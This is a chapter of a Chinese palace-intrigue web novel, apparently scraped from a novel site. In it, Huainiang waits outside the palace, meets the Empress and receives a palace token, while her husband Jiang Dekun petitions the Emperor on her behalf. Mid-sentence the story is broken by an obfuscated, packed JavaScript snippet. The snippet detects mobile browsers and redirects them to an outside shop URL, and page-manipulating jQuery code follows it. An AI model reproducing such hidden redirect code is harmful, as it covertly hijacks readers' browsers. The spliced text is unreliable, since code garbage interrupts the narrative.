20. 第 20 章
作品:《长豫无期》 “陈伯,现在大概什么时辰了?”
小瓦罐内浅褐色药液已经沸过第二遍,淮娘挑开一角,视线沿着车窗与纱帘的夹角探出去。
天已经彻底暗淡。
宫道来来往往的小太监们推着车,一路推一路听,十步又十步,整条宫道的灯全被点燃,照亮皇城。
冷空气顺着间隙钻进来,淮娘不禁冷颤,“手炉还热么?”
“热的很,”车夫陈伯身形高大,外表不苟言笑,可相处久了淮娘才知他的憨实爽朗,“您才给我换了新碳,哪能凉的这么快。”
“您别担心,我看呐公子一会就回来了。”
淮娘不安心,但到底没再多言。
车内一时寂静,只闻炭火燃烧声愈演愈烈。
忽而,宫道传来马蹄的轻响。
淮娘掀开厚重的车帘,高头大马上赫然是笑容艳丽的男人。
“贺大人。”淮娘未做多想,裹了披风下马车。
贺文章闻言看来,“县主叫我何事?”
他翻身下马,笑吟吟地瞧她。
“敢问贺大人是从太极殿出来?”
“正是呢,京兆尹上了一份折子,我一看可不得了,事涉县主和江大人呢,这不赶紧送来给圣人定夺。”
圣人知晓了。
淮娘心乱如麻,也不知是在江德昆面圣之前还是之后,“大人可曾被圣人为难?”
她眼睫轻颤,显然在紧张。
“县主竟是在关心我,我还以为你会问我江德昆怎样了?”贺文章有些好笑,心理素质就这样,还敢试探他套话。
这是明摆不买账了,淮娘索性不带一丝伪装,“贺大人见到他了。”
“是。出来时看到了。”
那就是之前,淮娘想明白先后顺序,提了一口气。
“那他现在怎样?”
“怎样,”贺文章盯着她,“还能怎样,好着呢。”
淮娘霎时抬眸,一双眼睛亮的惊人,带了一丝劫后余生的庆幸。
男人啧舌,不爽道:“这就信了,也不怕我诓你?”
淮娘得知江德昆没出事,整个人都放松下来,甚至还有兴致反问。
“那么,贺大人对我说谎了么?”
贺文章还没反应,就有一道悠悠女声传来,“是啊贺舍人,你骗德敏县主了吗?倒是有闲心。”
凤鸾随之而来,乌泱泱一群宫侍站在轿辇后,微微屈膝便算见过礼。
“见过娘娘。”
两人瞬间反应过来,一同行礼。
.
太极殿。
圣人神情莫测,“理由,昆山如此行径是否应该给朕一个缘由?朕记得你最是厌烦以权谋私的,如何现在为了区区一人违背你的为官之道。”
江德昆立于下首,面容平静无波无澜,“臣自知时日无多,不舍妻子独自苦熬余下岁月。”
“呵,朕记得你从前并未见过她,短短几月就怜惜上了?”圣人冷哼一声,“太医给你治着,何来时日无多,净说晦气话。”
“情不知所起,一往而深。”
“你不是感情用事的人。”
他毫无形象地翻了一个白眼,摩挲着一封奏疏的硬边,“带她去枫山,给她女户,这对你来说哪够啊,你还想做什么,一道说来听听?”
“臣想,臣死后县主婚嫁自由。”
身着玄衣赤纹的男人忍了又忍,还是将手中奏疏掷到他靴边。
“圣人在世啊江昆山!”
“你可知朕是为你才封了她,她若改嫁,朕成什么了?”
“孔孟作古,您才是当世圣人。”
江德昆还是那副恬淡样,俯身拾起奏疏,指尖轻抹,抚平摔皱的边角。
他迈步,将完好的奏疏放在案边那摞未批阅的奏折的最上首,“她会被父亲收为义女,嫁或不嫁,她都承载着帝王恩赐江氏一族的圣眷。世人谁敢多言。”
“于情于理,臣的行径并无不妥。”他顿了顿,再次开口,“何况,娘娘若是知晓,想必会欣然应允。”
本朝以来皇后有辅政之权,尤其是如今这位皇后,在圣人有意无意的放权后,权势堪比帝王。
更何况在皇后移风变俗的理念中,婚嫁自由也是其一。
淮娘变更为江氏养女,无论改嫁与否,她都是世家与皇族意志的体现,对皇后移风变俗的计划多有助益。
而且这事江家答应在前,顺水推舟的事而已,皇后必然会应允。
圣人听出话中隐含的威逼,眼睫微眯,“江德昆,你可别后悔。”
“臣从不后悔。”江德昆躬身拜下,“望圣上成全。”
“好。朕成全你。”
声音中颇有气急败坏。
江德昆轻轻勾了勾唇角,笑意转瞬即逝。
.
皇后只说了几句话,便道累了。
贺文章明白她的言下之意,找了借口离开。
临走前他望了淮娘一眼,不明白就是一个这样再普通不过的女子,为何接连得江德昆和皇后的青眼。
贺文章走后,淮娘也欲屈身告退,“既然娘娘累了,那……”
皇后打断她,“不,本宫想单独跟县主说说话。”
淮娘顿了顿,“娘娘请讲。”
“江大人对县主可好?若有不顺心,大可来找本宫,本宫替你撑腰。”
凭心而论,皇后对她很好,就连自己的县主爵位也有一半的功劳归于她。
只是,为什么?
淮娘不解用意,“淮娘多谢娘娘美意。”
她斟酌着回答,“只是…昆山对我甚是体贴,公婆也和蔼可亲,实在辜负娘娘一番好意。”
“如此,倒是本宫狭隘了。”
她笑了一声,意味不明,语气倒是淡了几分。
像是失去了兴致,她淡声道,“县主还是先上马车吧。外头天寒露重,江大人一会便能回来,切勿成全了痴情,而苦了自己的身体。”
“县主说,是与不是?”
这是把她当苦等夫婿归来的痴情人了。
淮娘哭笑不得,“是。”
轿辇移动,最后一位宫侍离开,淮娘踏上车凳的那刻忽然意识什么,对着凤鸾喊了声,“娘娘。”
凤鸾停下。
“今日一见淮娘觉得娘娘甚是亲切。若来日有空,淮娘可否拜望娘娘?”
雍容华贵的女人终于撩开帷幕,抬眼看来,一时流光溢彩。
“当然。”
纤纤手指放下帷幕,凤辇缓缓离去。
只余一位宫侍背对而来。
她对淮娘福身,双手捧着一块腰牌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377299|199538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“县主,这是娘娘给您的。”
“您若是想入宫了,只消用这个便可进来了。”
“说来也巧,这牌子拢共五块,两块都在您和江二小姐手中,也是有缘。”她笑容款款,状似无意提了一句。
“是我的荣幸。还请姑娘替我向娘娘道声谢。”淮娘接过腰牌,还了半礼。
“县主客气了。”
那宫侍扶起她,又浅浅交代几句使用方法,而后才离去。
淮娘握着那枚系了络子的黑色腰牌,金丝银线编就的络穗随风扬起,拂过她的手背,带起丝丝缕缕的痒意,还有一丝微不可察的疼。
她看了看手背,连红痕也只有零星几道,找不到伤在何处,疼在何处。
烦躁泛上心头,淮娘收起腰牌,皇后邀请她做甚,她本人大字不识一个,皇后能看中的只有她的身份。
问题是,她看中的是江家夫人,还是县主?那江皎月呢,她又是因为什么而被皇后选中的?
好烦……
淮娘闭着眼,企图让自己平静一点。她背靠着冰冷的宫墙,还是压不住点点燃上背部的躁意。
“少夫人,”陈大有些欲言又止,淮娘方才背对他,“您没事吧?”
他只知道皇后身边的宫侍过来说了几句话,明明一开始是开心的,可那宫侍一走,少夫人就像被吸了精气似的,垂头丧气地靠着墙。
“是她说了什么惹您——您回来了!”
他话说到一半霎时变了语调,淮娘睁眼,“少夫人,公子回来了!”
笔直的宫道深处有人带了满身寒气回来。
“嗯,我看到了。”
淮娘望着陈大快步走到他身边扶住他,慢半拍回应陈大的欣喜。
马车上,瓦罐药液又一次沸腾,淮娘隔着手帕端起来,倒了一碗药放在小几上。
咔嗒一声轻响,回荡在静默的车厢内。
淮娘望着冒出缕缕白色水雾的汤药,拉开车窗阻隔冷空气的纱帘。
冷风霎时灌入,吹散满厢药味。
淮娘没话找话,“圣上没为难你吧?”
江德昆摇头,“没有。”
“那今晚我们是回东府?”
“不,回家吧。”
“好。”
又是沉默。
淮娘不知道江德昆为何也沉默,可能是百日耗尽了精力,无心再关注周遭了吧。
她有些庆幸,不然按照往日,自己的不对劲早就该被江德昆察觉了。
“公子、少夫人,到府里了。”
满打满算不过十二个时辰,淮娘却恍若隔世。
一天的时间竟然能发生这么多事么?
淮娘晃了晃头,率先下了马车,带着桃红绿柳等人回来礼园。
绿柳恢复了从前叽叽喳喳的样子,看来是彻底气消了。
“您是不知道,昨夜我跟桃红姐姐左等右等都没等到您和公子回来,生怕您们出了事。”
“您肯定想不到,我们当时急得去竹苑找碧空打探消息,可碧空也不知道,我们一合计呀,干脆一起去闹老管家了。”
她故作夸张地捂着胸口,“幸好是虚惊一场。老管家跟我们和碧空说您和公子转道去东府了,我们这才放下心来。”
淮娘不由失笑,“是我不好,让你们着急了。”

